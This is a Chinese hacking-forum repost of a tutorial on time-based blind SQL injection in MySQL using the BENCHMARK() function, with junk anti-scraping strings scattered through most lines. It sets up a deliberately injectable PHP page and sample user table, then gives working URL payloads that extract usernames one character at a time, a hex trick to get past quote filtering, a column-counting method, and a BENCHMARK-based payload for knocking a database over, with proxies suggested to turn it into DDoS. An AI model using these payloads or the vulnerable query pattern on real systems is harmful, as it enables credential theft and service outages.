中国网络渗透测试联盟

标题: MYSQL中BENCHMARK函数的利用 [打印本页]

作者: admin    时间: 2012-9-15 14:03
标题: MYSQL中BENCHMARK函数的利用
MYSQL中BENCHMARK函数的利用   r: E- h  d( N2 o
本文作者:SuperHei
1 h7 Y! [5 G. a' p& I- P* w9 o& q文章性质:原创/ p% Q6 W5 q0 A2 q; v
发布日期:2005-01-02" S+ O6 N, Y2 l. I0 b: O' V
完成日期:2004-07-09 : _8 [& `8 m. S* g
第一部5 L' C$ Z* ]4 E) _: t$ o

0 w6 v- |9 t; w% h2 n4 a利用时间推延进行注射---BENCHMARK函数在注射中的利用 8 A, p* R) A! `7 I: y5 Q8 A7 I
( ^% [& F/ a1 K. P4 i8 V* ]+ b
一.前言/思路( z# [2 z+ T( j3 O
. N" j9 j) E  y+ b, h  z8 D! K$ N
  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。% O5 F. B2 L3 y; E$ y, ?7 {
8 P% K8 w4 U% h3 g7 W
  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。2 M1 p  u3 V, P* `; d

% e: Q. j  R) N- }/ s二.关于BENCHMARK函数
4 x2 {' o# b( D* y! B& u, ~! O8 z8 c$ M) M
  在MySQL参考手册里可以看到如下描叙:
' t- X5 L6 P6 k: s2 S
( x: N2 y% @4 s9 \' u4 ~. x+ f; [' P% S( D
--------------------------------------------------------------------------------
. t6 k* s: [/ Z. }, w! {# Q+ r4 X4 u
BENCHMARK(count,expr) & j  ^7 _: k- \" ~& h+ L6 h, J
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
( O& }& k4 d1 z7 K- `mysql> select BENCHMARK(1000000,encode("hello","goodbye")); ! G, F: G- l1 Z6 W) w
+----------------------------------------------+
* ]0 v7 y6 D7 [5 F; A: w| BENCHMARK(1000000,encode("hello","goodbye")) |
1 R! A9 x' e" Q# ?: q, o6 ?+ N" I, {1 n+----------------------------------------------+
7 H4 a: ~/ i+ k! @, j+ M| 0 |
; v* e3 m, Q" Q, ]  Y+----------------------------------------------+   f: Q1 k4 F- q" c" X/ v
1 row in set (4.74 sec)
0 f. V7 E& L8 C1 M0 K% R. y. L' p" h* l$ A0 y1 ~& ]( N3 s1 l( F, B
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
9 m  Q* Y4 E- J0 f! G2 _* B6 m
; k) U0 l; R+ n+ W0 D, o( B1 O% I- I2 y$ h3 B
--------------------------------------------------------------------------------
% ^9 N; u% U2 }- |* C" ?8 k. _+ p7 s! f# C  l; u
  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
. |9 c* _7 n  Z# Z3 K) x& F  F  @, {" S9 y1 F
mysql> select md5( 'test' );
  c& u# G7 M: @" ^: J& {+----------------------------------+
; Z' @! G0 ]! ?& m| md5( 'test' ) | * D8 r0 Z) P6 F" h2 J
+----------------------------------+
9 j; J6 S8 x7 g" ]| 098f6bcd4621d373cade4e832627b4f6 | 9 r: U7 `' \+ b, q
+----------------------------------+
+ A8 S7 y& n3 S, T% c1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec * O7 J* {* ?/ L' W! k
+ M' K- e/ h& s
mysql> select benchmark( 500000, md5( 'test' ) );
+ ?( Q8 t" G! n! F+------------------------------------+
# `: S1 {/ M  ?; c9 U& I| benchmark( 500000, md5( 'test' ) ) | ; n: r& k4 O' K3 h
+------------------------------------+ . T' p7 h% z# u# @* g
| 0 | & Y$ O0 r8 Q* @3 W& m3 \
+------------------------------------+ 5 G# U5 l, s0 v' o
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
' S. N# G  S- B2 ^3 P1 A- ~3 j, S$ ]
! |, X* }. d6 t
8 l$ F+ [  K: z/ T! t  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 / a9 `7 J* U" b# W; P! w
1 B: {  m, K  _+ P
三.具体例子( \1 U  a, c$ D  i
; s; `( ]& o! J7 c8 a
  首先我们看个简单的php代码:
9 U  B. t8 P" n* }( c% u* W
  @0 R/ w' p  X( [! b% H5 R. x9 Z< ?php
$ @! i% U3 X0 F" u; S6 Z" J9 H$ i$servername = "localhost";
0 O* p2 G% J# N' `3 s: I7 y$ f$dbusername = "root";
4 }* v) {) Z4 b' G0 j' L; I& n$dbpassword = "";
: \& |) d* p' v- v, h& f$dbname = "injection";
4 W) \  g: s: a% M2 D6 S
4 I4 P+ [3 O" ^: m( G+ M: Fmysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
- @) A' n' h9 i1 o/ U; n3 a
1 j' \7 m; c- g2 R: X6 n3 }$sql = "SELECT * FROM article WHERE articleid=$id";
9 ]: V* T- f$ G' b3 w% u$result = mysql_db_query($dbname,$sql); 7 B* z$ U, ?6 \
$row = mysql_fetch_array($result); 9 q8 g) ~; f4 E1 o2 S& n$ o7 k
5 X- H( l" F, K- y, K/ M
if (!$row) ' z2 z9 n7 _6 t4 ]" N( S$ e
{
2 b1 D! |1 k; @+ Q1 ^% M9 _0 ]exit;
- w: v  y& y. d4 r}
1 ^! k* Z, ]0 f+ V3 q?>
  Z: `; x% A. r% ^- ^* K - t) h; X; ~9 y
2 a  V$ [. g" @
  数据库injection结构和内容如下:
% f* P4 R: a# o. U; d. i6 g# ~" K0 p3 P
# 数据库 : `injection`
( S* e8 U6 Z; h, X3 _#
# z" J9 a$ m6 E9 f+ E
" `+ [8 ^6 _5 T! }& Z* Y/ V8 c  r# --------------------------------------------------------
3 [4 _& g4 @2 p& i7 o! B9 v# m. l# q8 H
#
. Q6 a/ w9 C" q: I' c) V# 表的结构 `article` 0 |. A* ~& q3 [0 K
#
3 Q: I1 h* G7 j& y0 Y' U; z1 X& F/ X( Y# |0 J' v; h
CREATE TABLE `article` ( 3 m7 r6 t" l' b+ A% u, d
`articleid` int(11) NOT NULL auto_increment,
$ w" A; M2 v* L' k`title` varchar(100) NOT NULL default '', ( `1 |* i: p4 c% d. h4 A# m9 Q7 F0 Z
`content` text NOT NULL, " S( u: ]& _: M$ [  h% x
PRIMARY KEY (`articleid`)
" F9 N+ g2 g- g1 L* F7 [$ ~) TYPE=MyISAM AUTO_INCREMENT=3 ; ' G; ~/ l1 u( B- v' ?
7 O4 `* w* Z+ D4 K% t
# ; P, w  G$ L; y$ _1 g0 ~
# 导出表中的数据 `article`
  W+ m, {" t, K' g/ J# k2 a3 U#
. c- p- l5 _- A  L/ n
& \7 ^/ f: J$ n( WINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
  p' Q( p# r9 T$ w0 vINSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
/ X3 B+ \3 m( d0 k( i2 o0 X, O3 e$ j" @% d
# -------------------------------------------------------- * b. A$ I8 w& w' U  q; h6 i

) w9 ~0 M( H% r5 S5 i+ ], W1 W#
- v! \7 s) R' `, O$ G& x# 表的结构 `user`
3 m! s+ h$ `/ W' M( t$ d4 P$ E# ! Q2 h2 W6 G# s

9 m" }7 ?& x! z) l9 i. @CREATE TABLE `user` (
. y9 X& a0 s% q. M5 y7 c8 k9 p`userid` int(11) NOT NULL auto_increment,
# m0 f; {7 Y1 H2 o( M$ U`username` varchar(20) NOT NULL default '',
- }# U6 P! \# h+ V`password` varchar(20) NOT NULL default '',
( P$ ?0 Z2 \2 ?, zPRIMARY KEY (`userid`)
. }# }; p* G3 x' k8 e6 }( h) TYPE=MyISAM AUTO_INCREMENT=3 ;
" W# j2 f. }2 W6 y: q- H
, |- ]7 m; z* J; a#
$ u4 H3 x/ B! L* {  q* k# 导出表中的数据 `user`
; X- b8 H% f( g' w/ z#
/ J7 B' _, H. Y. X+ C- |& K( E" C1 L2 M6 e
INSERT INTO `user` VALUES (1, 'angel', 'mypass'); ' ^5 ]% L) }/ z- y  J
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
" L6 j' z: p2 o  w " x: {; j3 w8 ?! X

' f- B% P% o) d) L4 r, D  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:( x* g" T. y6 v0 M4 {

# g3 _0 O0 Q2 ]. j* Z  U3 e5 qid=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
+ L4 S' d$ _& p5 x( S' i1 M6 L, g9 J1 N ( r2 M% y9 |- F) r, O

5 {: }8 n- j% `; \0 ]  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
( W$ y$ s; B- h5 h; N! n) J* K6 c& X! D
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
5 H! V- {0 _8 w: X+ X( v 2 [; H' {- v6 m$ D6 I
+ o% J, b" M4 [& f
  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 ) ]2 y$ J; T% v# [* N, B
  C( E  b; ^) L" p: f  ~9 ~
  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
& S: o& I; P# b) x; V) M" W- ~8 Q; `
1 D; q4 e2 l# ?( E/ d" A+ ~9 q第二部+ P0 J0 k5 A/ H3 Y
5 v" H" i5 N" K& [$ v( \
利用BENCHMARK函数进行ddos攻击
$ ^. v$ @' N/ _- {  o5 l: f1 N1 n# v* K+ N
  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
& U6 Y% _3 K+ o0 ~  z( `8 h% J" C4 W  |" A8 P* B$ L$ u1 e! X
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
% o1 z5 w  W# V! W: s5 R7 s / ~. b3 l; p0 e+ |
5 w8 W- r% H  A) t5 K! m$ X
小结2 h8 [, R% C6 x! n0 Q+ S( j- J  \) |5 R

+ v7 ?7 U7 v3 Z  n! p! Y& ?  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。" }  I+ k# R* P& A
" j( w1 a3 k4 h9 r, K4 j
  9 }& e  ^" O# a4 x1 g' A7 K) H





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2